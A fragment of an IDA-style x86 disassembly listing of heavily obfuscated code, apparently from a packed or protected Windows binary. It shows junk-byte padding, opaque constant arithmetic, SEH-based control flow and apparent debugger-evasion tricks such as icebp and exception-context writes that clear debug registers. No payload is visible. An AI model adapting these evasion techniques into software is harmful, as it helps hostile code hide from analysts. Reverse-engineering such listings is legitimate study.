; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43B16F:				; CODE XREF: sub_43C65A-49A3j
		jmp	loc_43C8BA
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43B175:				; DATA XREF: sub_43D067o
		push	esi


loc_43B176:				; CODE XREF: _802izwe5:loc_43E4F6j
		mov	esi, ebp
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		mov	eax, offset loc_43A0BF
		jmp	loc_43F2BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B188:				; CODE XREF: sub_439ED1-1767j
					; sub_439ED1:loc_43A026j
		push	0FFFFFFFFh
		call	ds:dword_4270C0	; ExitProcess
		push	edx
		mov	edx, esi
		xchg	edx, [esp+0]
		mov	esi, offset loc_43B00A
		jmp	loc_43A129
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 1890000h, 4C181h, 1890000h, 0A0C181h, 1C70000h, 439F22h
		dd 0C359C033h, 810F0000h, 0FFFFFC8Fh, 0FFD930E9h, 0E99C00FFh
		dd 0FFFFC4F4h, 0C30000h, 0E9F16400h, 0FFFFD004h, 0FFDE65E9h
		dd 0E80000FFh, 379Ah, 0FFCAEEE9h, 0F68100FFh, 0AA4D63E2h
		dd 0FFF66DE9h, 5F0000FFh, 0CDBDC881h, 0E8815280h, 0D6E4CE03h
		dd 8118C0C1h, 178757E8h, 0D0BBE90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B216:				; CODE XREF: sub_439ED1:loc_43E05Fj
		add	edx, 25788372h
		add	ecx, edx
		pop	edx
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	loc_43A18A
		xor	eax, eax
; END OF FUNCTION CHUNK	FOR sub_439ED1
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_43B22F:				; CODE XREF: sub_43DA03-1FE0j
		jmp	loc_4394C5
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		dd 0DF030000h, 0D6E811BBh, 16CBC11Dh, 0C7E4E99Ch, 6800FFFFh
		dd 43E78Bh, 3589E9h, 4D830F00h,	0E9000038h, 0FFFFFC71h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B25C:				; CODE XREF: sub_439ED1-22CDj
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_43C642
		call	sub_43CAE5
		jmp	loc_43E0F3
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0C300h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B27D:				; CODE XREF: sub_439ED1+1676j
		jmp	nullsub_47
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		sub	esi, ecx
		jmp	sub_43C3F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C034


loc_43B28B:				; CODE XREF: sub_43C034:loc_43F0F4j
		add	edx, 0A13EAD20h
		rol	edx, 0Ah
		xor	edx, 0F9B34E74h
		add	ecx, edx
		pop	edx
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43EA52
; END OF FUNCTION CHUNK	FOR sub_43C034
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43B2AB:				; DATA XREF: sub_43C3F1+5o
		add	ecx, edi
		pop	edi
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], 438C43h
		xor	eax, eax
		jmp	loc_43A410
; ---------------------------------------------------------------------------
		align 4
		adc	ebp, 11B9279h
		jmp	loc_43CB53
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B2D0:				; CODE XREF: sub_439ED1+7F2j
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43DBB4
; ---------------------------------------------------------------------------


loc_43B2F3:				; CODE XREF: sub_439ED1+C14j
		or	edx, 46E86A62h


loc_43B2F9:				; CODE XREF: sub_439ED1:loc_43B376j
		add	edx, 895B381Bh
		xchg	edx, [esp-0Ch+arg_8]
		jmp	loc_43808C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 53058D00h, 0E90043B3h, 0FFFFE508h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B315:				; CODE XREF: sub_439ED1:loc_43A3ADj
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	near ptr loc_4397A6+1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_43B32C	proc near		; DATA XREF: sub_43C65A:loc_43F7E0o

; FUNCTION CHUNK AT 004383F4 SIZE 00000006 BYTES

		dec	ecx
		jnz	loc_43BDD5
		jmp	loc_4383F4
sub_43B32C	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B338	proc near		; CODE XREF: sub_439ED1+4D0p

; FUNCTION CHUNK AT 00438B4D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00438E8B SIZE 00000004 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	ebx, 0FDFAE73Ch
		add	ecx, ebx
		pop	ebx
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_438B4D
sub_43B338	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
dword_43B353	dd 130B8h			align 4
		call	sub_43CED8
; START	OF FUNCTION CHUNK FOR sub_43E4D7


loc_43B35D:				; CODE XREF: sub_43E4D7+10j
		jmp	loc_439BCB
; END OF FUNCTION CHUNK	FOR sub_43E4D7
; ---------------------------------------------------------------------------
		dw 0E900h
; ---------------------------------------------------------------------------
		retn	3Eh
; ---------------------------------------------------------------------------
		align 4
		dd 0C185EE81h, 0C6C102B0h, 4F68114h
		db 0FEh, 7Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B376:				; CODE XREF: sub_439ED1+14CEj
		jo	short loc_43B2F9
		into
		adc	al, 69h
		push	69C6815Eh
		push	es
		adc	[ecx], ah
		jmp	loc_43A78D
; ---------------------------------------------------------------------------


loc_43B388:				; CODE XREF: sub_439ED1:loc_43AE09j
		xor	edi, 0D8DF77D4h
		cmp	edx, edi
		pop	edi
		jmp	loc_4397FE
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B398:				; CODE XREF: sub_439ED1:loc_439E70j
		call	sub_439C13
		add	cl, ch		; CODE XREF: sub_43C65A+1D0Ej
		jp	short loc_43B376
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D600


loc_43B3A5:				; CODE XREF: sub_43D600-7Fj
		jmp	loc_43E904
; END OF FUNCTION CHUNK	FOR sub_43D600
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43B3AB:				; CODE XREF: _802izwe5:004389E4j
		jmp	loc_43E2A8
; ---------------------------------------------------------------------------
		dd 3FA0E900h, 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0), 0E9h	; CODE XREF: _802izwe5:0043E8FFj
; ---------------------------------------------------------------------------
		xor	eax, 0FFFFDCh
		add	cl, ch
		cmp	eax, 0FFFFDDh
; START	OF FUNCTION CHUNK FOR sub_4378C2


loc_43B3C8:				; CODE XREF: sub_4378C2:loc_438CB5j
		jz	loc_43EF41
		push	dword ptr [ebp+10h]
		push	esi
		mov	esi, eax
		xchg	esi, [esp-4+arg_0]
		push	offset dword_43EC48
		jmp	near ptr dword_43718C+0BAh
; END OF FUNCTION CHUNK	FOR sub_4378C2
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B3E2:				; CODE XREF: sub_439ED1+43E5j
		add	ebx, ebp
		cmp	edx, 5220C4FCh
		jmp	near ptr dword_43718C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		dd 30CD8100h, 13132907h, 556E9E9h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B400:				; CODE XREF: sub_439ED1:loc_43A3F0j
		push	ecx
		mov	ecx, offset loc_43F691
		jmp	loc_43A538
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 0DACC6800h, 84E9819Dh, 0FFFFECh, 5A241487h, 0AF6E8h
		dd 0AAE90000h, 68FFFFF0h, 43F90Dh, 0B0BE9h
		db 0
; ---------------------------------------------------------------------------


loc_43B431:				; CODE XREF: _802izwe5:loc_43D963j
		push	ebp
		sub	ebp, edx
		jmp	loc_43F213
; ---------------------------------------------------------------------------
		align 2


loc_43B43A:				; CODE XREF: _802izwe5:00438C30j
		push	31782FAEh
		pop	ebx
		add	ebx, 15114881h
		and	ebx, 0AEF6723Dh
		jmp	loc_43F943
; ---------------------------------------------------------------------------
		align 2


loc_43B452:				; DATA XREF: sub_438E1C+1Ao
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_43F5FB
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		dd 0CBE90000h, 0FFFFFDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6E


loc_43B46C:				; CODE XREF: sub_438A6E+5j
		jmp	loc_43AE0F
; END OF FUNCTION CHUNK	FOR sub_438A6E
; ---------------------------------------------------------------------------
		db 2 dup(0), 67h
; ---------------------------------------------------------------------------
		icebp
		pushf
		shr	esi, 1Ah
		jmp	loc_43F832
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43B47F:				; CODE XREF: _802izwe5:loc_43E3CBj
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43B481	proc far		; CODE XREF: sub_43C65A+2F3p

; FUNCTION CHUNK AT 004399C5 SIZE 00000005 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_4399C5
sub_43B481	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43C034


loc_43B494:				; CODE XREF: sub_43C034-22E2j
		push	edx
		push	1663627Eh
		pop	edx
		or	edx, 5F94F63Dh
		rol	edx, 1Bh
		jmp	loc_43F0F4
; END OF FUNCTION CHUNK	FOR sub_43C034
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 67h
		dd 36FF64h, 89646700h, 0E9000026h, 0FFFFCFE2h, 26E88100h
		dd 81FAE0C4h, 0B9136CC0h, 0F86E8F7h, 0A4E90000h, 0FFFFDEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B4D4:				; CODE XREF: sub_439ED1:loc_43AAFEj
		lock icebp
		jmp	loc_43BB41
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4


loc_43B4DC:				; CODE XREF: _802izwe5:loc_439C0Dj
					; _802izwe5:loc_43EC8Fj
		rol	esi, 1Dh
		and	esi, 0CC2468CFh
		add	esi, 0F8236F27h
		xchg	esi, [esp]
		jmp	loc_43AF93
; ---------------------------------------------------------------------------
		align 4
		xchg	esi, [ebp+0]
		jmp	near ptr sub_43DBE4
; ---------------------------------------------------------------------------
		dd 0E8030000h, 1F08E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B507:				; CODE XREF: sub_439ED1:loc_43A122j
		mov	byte ptr [edi],	9Ch
		pop	edi
		mov	ecx, ebp
		xchg	ecx, [esp-18h+arg_10]
		push	0BEAA3694h
		pop	eax
		add	eax, 598CBBD4h
		jmp	loc_43E1C6
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_43B523:				; CODE XREF: _802izwe5:00437E8Aj
		retn
; ---------------------------------------------------------------------------
		dd 12B0E900h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B52C:				; CODE XREF: sub_439ED1-55Dj
		jmp	loc_43C3AE
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		jmp	loc_43ACF4
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C034


loc_43B537:				; CODE XREF: sub_43C034:loc_43AF6Aj
		cmp	edx, 0E638CD14h
		jmp	loc_43AF6F
; END OF FUNCTION CHUNK	FOR sub_43C034
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B542:				; CODE XREF: sub_439ED1+676j
		push	offset word_43F056
		jmp	loc_43B27D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0C1810000h, 4, 0C1810189h, 4, 0C1810189h, 4,	0C1810189h
		dd 0A0h, 0D10601C7h, 14E90043h,	2, 0E9C38100h, 0E9BC0CBDh
		dd 0FFFFDFCDh
; ---------------------------------------------------------------------------


loc_43B584:				; CODE XREF: _802izwe5:loc_43D898j
		push	ecx
		jmp	near ptr dword_437428+0C6h
; ---------------------------------------------------------------------------
		mov	ecx, edx
		pop	edx
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C604


loc_43B58F:				; CODE XREF: sub_43C604+20F0j
		jmp	nullsub_2
; END OF FUNCTION CHUNK	FOR sub_43C604
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B595:				; CODE XREF: sub_439ED1+2E14j
		jmp	loc_43F535
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		jmp	loc_43DB41
; ---------------------------------------------------------------------------
		align 10h
		dd 0FF646700h, 0E9000036h, 41Dh, 0FBE2815Ah, 812723DBh
		dd 0A457BFC2h, 1FE953B6h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B5BF:				; CODE XREF: sub_439ED1+398j
					; sub_439ED1:loc_43E01Bj
		js	sub_43971E
		push	offset dword_439B78
		jmp	loc_43D4E8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43AFE6
; ---------------------------------------------------------------------------
		align 10h
dword_43B5F0	dd 0FD689C56h, 5EE59E13h, 0F55CE681h, 0C6C16084h, 0C6810Bh
					; DATA XREF: sub_439ED1-1E7Bo
		dd 9DDF751Dh, 0FFC01EE9h, 39C681FFh, 39A5BB4h, 18A5ECEh
		dd 9CC181h, 1000000h, 1ABAE9h, 0DC3C100h, 8E9EF3Bh, 0FFFFD6h
		dd 0F2F08100h, 81447CC2h, 0F667C0C0h, 36A2E8B6h, 4DE90000h
		dd 0FFFFD4h
		db 0
; ---------------------------------------------------------------------------


loc_43B649:				; CODE XREF: _802izwe5:loc_43E209j
		mov	eax, ecx
		xchg	eax, [esp]
		push	0D15B736h
		pop	ecx
		xor	ecx, 433F8304h
		jmp	loc_43C401
; ---------------------------------------------------------------------------
		xchg	ebp, [esp]
		push	0C670C846h
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_43B668:				; CODE XREF: sub_43F688:loc_43EE61j
		or	esi, 0EB76BB60h
		xor	esi, 0CFE83379h
		jmp	loc_439FD7
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], 437A71h
		jmp	loc_43EB81
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43B69B:				; CODE XREF: sub_43C65A:loc_43F0D9j
		add	ecx, ebx
		pop	ebx
		call	sub_43CC6B
		jmp	loc_43E8A7
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dd 5E8D0F00h, 6800002Dh, 43B1DCh, 271FE9h, 0C1990000h
		dd 0AE905EDh, 0FFFFF4h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43B6C5:				; CODE XREF: sub_43C65A:loc_43975Cj
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		jmp	loc_43EC9C
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43B6E1:				; CODE XREF: sub_43C65A+100j
		call	sub_43F7F5
		jmp	loc_4380EA
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 4
		xchg	ebp, [edx]
		jmp	loc_43F1F0
; ---------------------------------------------------------------------------
		align 4
		dd 81CC8B00h, 10C1h, 0C7098B00h, 1001301h, 3FD2E900h, 81000000h
		dd 20A3B3C5h, 3CEC140h
; ---------------------------------------------------------------------------


loc_43B714:				; CODE XREF: _802izwe5:0043B919j
		call	sub_43E530
		add	cl, ch
		or	al, 8
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B71F:				; CODE XREF: sub_439ED1+445j
		jmp	loc_43EA72
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 6FC6F700h, 0E9C6F95Dh, 0FFFFD646h, 0C1810000h, 4, 0C1810189h
		dd 4, 0C1810189h, 4, 6CEE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B74D:				; CODE XREF: sub_439ED1+24A0j
		mov	ecx, (offset loc_438E0C+1)
		jmp	loc_43CDEB
; ---------------------------------------------------------------------------


loc_43B757:				; CODE XREF: sub_439ED1:loc_43A782j
		pop	esi
		pop	edx
		fadd	qword ptr [esp+0]
		mov	ebp, eax
		jmp	loc_43A4FF
; ---------------------------------------------------------------------------


loc_43B763:				; CODE XREF: sub_439ED1:loc_43A97Bj
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	loc_439539
		xor	eax, eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 279Ah
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43B785:				; CODE XREF: sub_43F18B+Cj
		pushf
		jmp	loc_437BC0
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3B2


loc_43B78F:				; CODE XREF: sub_43F3B2+15j
		jmp	loc_43D62F
; END OF FUNCTION CHUNK	FOR sub_43F3B2

; =============== S U B	R O U T	I N E =======================================



sub_43B794	proc near		; CODE XREF: _802izwe5:0043F838p
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr dword_439A1C+19h
sub_43B794	endp

; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43B7A6:				; CODE XREF: sub_43F18B-20CEj
					; DATA XREF: sub_439ED1+1243o
		pop	dword ptr fs:0
		xchg	eax, [esp-4+arg_0]
		pop	eax
		xchg	eax, [esp-8+arg_4]
		jmp	loc_43901D
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B7BB:				; CODE XREF: sub_439ED1+2CBj
					; sub_439ED1+531Aj
		jmp	loc_43801E
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
byte_43B7C1	db 5Bh,	8Bh, 36h	; DATA XREF: sub_439ED1+484Eo
dword_43B7C4	dd 3E43E82Dh, 0AEE90000h, 2, 81CC8B00h,	10C1h, 0C7098B00h
					; DATA XREF: sub_439ED1-101Fo
		dd 1001301h, 81C03300h,	4C1h, 0E028E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43B7EE:				; CODE XREF: _802izwe5:0043D177j
		push	offset dword_438AAC
		jmp	locret_43828A
; ---------------------------------------------------------------------------
		dd 850F0000h, 0A0Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B802:				; CODE XREF: sub_439ED1+4900j
		jmp	near ptr dword_438BA4+20h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [edi]
		push	47420D42h
		push	ebp
		and	edi, 186D4F2Fh
		jmp	loc_43C20B
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B81C:				; CODE XREF: sub_439ED1:loc_43A10Bj
		cmp	eax, 0E6F8D015h
		jmp	loc_43DEC9
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 9D03C600h, 0E807E85Bh ; CODE	XREF: _802izwe5:0043F75Bj
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B832:				; CODE XREF: sub_439ED1+552Fj
		jmp	loc_43BB51
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAE5


loc_43B837:				; CODE XREF: sub_43CAE5+F03j
		add	eax, 7D9E30E5h
		not	ebp
		jmp	loc_437F7D
; END OF FUNCTION CHUNK	FOR sub_43CAE5
; ---------------------------------------------------------------------------
		dd 70E9CC66h, 8B000014h, 10C181CCh, 8B000000h, 1301C709h
		dd 56000100h, 0A42B3B68h, 0EE815EB5h, 4FFFDF5Ch, 0FFFDA0E9h
		dd 810000FFh, 1E2873C8h, 241C87F8h, 0F85DF75Bh,	0F87D83h
		dd 246A840Fh, 0DEE90000h, 0FFFFE9h, 81CC8B00h, 10C1h, 0C7098B00h
		dd 1001301h, 81C03300h,	4C1h, 0E9018900h, 0FFFFDAEBh
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B8AF:				; CODE XREF: sub_439ED1+81Ej
		jmp	loc_43C87B
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43B8B5:				; CODE XREF: _802izwe5:004399EFj
		jmp	loc_43D8D9
; ---------------------------------------------------------------------------
		dw 300h
; ---------------------------------------------------------------------------
		retf	8B5Ah
; ---------------------------------------------------------------------------
		db 9
; ---------------------------------------------------------------------------
		mov	dword ptr [ecx], 10013h
		jmp	loc_43C743
; ---------------------------------------------------------------------------
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_43A86B
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B8E5:				; CODE XREF: sub_439ED1+4C4j
		jmp	loc_43C52A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 8B00h
		db 0CCh
		db 81h,	0C1h, 10h
		dd 8B000000h, 1301C709h, 81000100h, 18C1h, 81018A00h, 9CC1h
		dd 0E9D3E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43B90F:				; CODE XREF: _802izwe5:loc_43F87Bj
		mov	byte ptr [edi],	0FFh
		pop	edi
		xor	edx, 7E7B0B8Ah
		jns	loc_43B714
		jmp	loc_439E95
; ---------------------------------------------------------------------------
		dd 0CB030000h, 0FFFDDEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43B92D:				; CODE XREF: _802izwe5:0043861Cj
		pushf
		push	0A3E81F94h
		pop	eax
		add	eax, 31D60DA0h
		rol	eax, 7
		add	eax, 212D13F4h
		popf
		jmp	loc_43CDB2
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, 439403h
		jmp	loc_43F02F

; =============== S U B	R O U T	I N E =======================================



sub_43B954	proc far		; CODE XREF: sub_439ED1:loc_43CC20j

; FUNCTION CHUNK AT 0043BB76 SIZE 00000015 BYTES

		push	ebx
		call	near ptr dword_438150+68h


loc_43B95A:				; CODE XREF: _802izwe5:0043E30Fj
		jmp	loc_43BB76
sub_43B954	endp

; ---------------------------------------------------------------------------


loc_43B95F:				; CODE XREF: _802izwe5:0043CE1Fj
		jmp	loc_437B24
; ---------------------------------------------------------------------------
		jmp	loc_43EF5A
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B96A:				; CODE XREF: sub_439ED1:loc_43AA89j
		jmp	far ptr	8722h:90F9AC68h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db  0Ch
		db  24h	; $
		db  8Bh	; ‹
		db 0C1h	; Á
		db  59h	; Y
		db 0E9h	; é
		db  9Fh	; Ÿ
		db 0FDh	; ý
		db 0FFh
		db 0FFh
		db    0
		db 0
byte_43B97D	db 2Eh,	0CCh, 0E9h	; CODE XREF: sub_43DC98+Cj
		dd 0D06h, 840F0000h, 0FFFFC113h, 50C6C5F7h, 23E92CE8h
		dd 0FFFFEAh, 0BCE36800h, 1CE90043h, 0F000025h, 28678Eh
		dd 0E5F9E900h, 0D62BFFFFh, 0FC6F830Fh, 95E9FFFFh, 0FFFFE0h
		dd 0F9815300h, 0BE8D9239h, 0FFE7D3E9h, 896467FFh, 0E9000026h
		dd 1B4Bh, 0C7DEE959h, 8F0FFFFFh, 0FFFFB9E7h, 13E91389h
		dd 2Dh,	4F01C700h, 330043F4h, 0C359C0h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B9F5:				; CODE XREF: sub_439ED1+5DFj
		jmp	nullsub_27
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_43C5C9
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BA03:				; CODE XREF: sub_439ED1:loc_43A25Dj
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr word_43E29E
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_43BA15:				; CODE XREF: sub_43DA03:loc_438D18j
		jge	loc_43782F
		push	65E1101h
		rol	edx, 6
		jl	loc_43B22F
		jmp	loc_437DC6
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43BA2F:				; CODE XREF: _802izwe5:0043F1F8j
		jns	loc_438C18
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		xor	eax, 0E7C7146Ch
		push	offset byte_43D81B
		jmp	locret_43C3C5
; ---------------------------------------------------------------------------
		align 10h
		dd 8B241487h, 0D78B52CAh, 0FFC6F5E9h, 810000FFh, 3E0DDAC2h
		dd 68D50370h, 439921h, 0FFD2BEE9h
		db 0FFh, 0
word_43BA72	dw 487h			; DATA XREF: sub_439ED1-19B2o
		dd 0D5035824h, 0FFCB87E8h
		db 0FFh, 51h
; ---------------------------------------------------------------------------


loc_43BA7E:				; CODE XREF: _802izwe5:00438D76j
		jmp	loc_43C0A7
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BA85:				; CODE XREF: sub_439ED1+DEDj
		jz	loc_43EDF2
		ror	edx, 0Bh
		jmp	loc_43C236
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
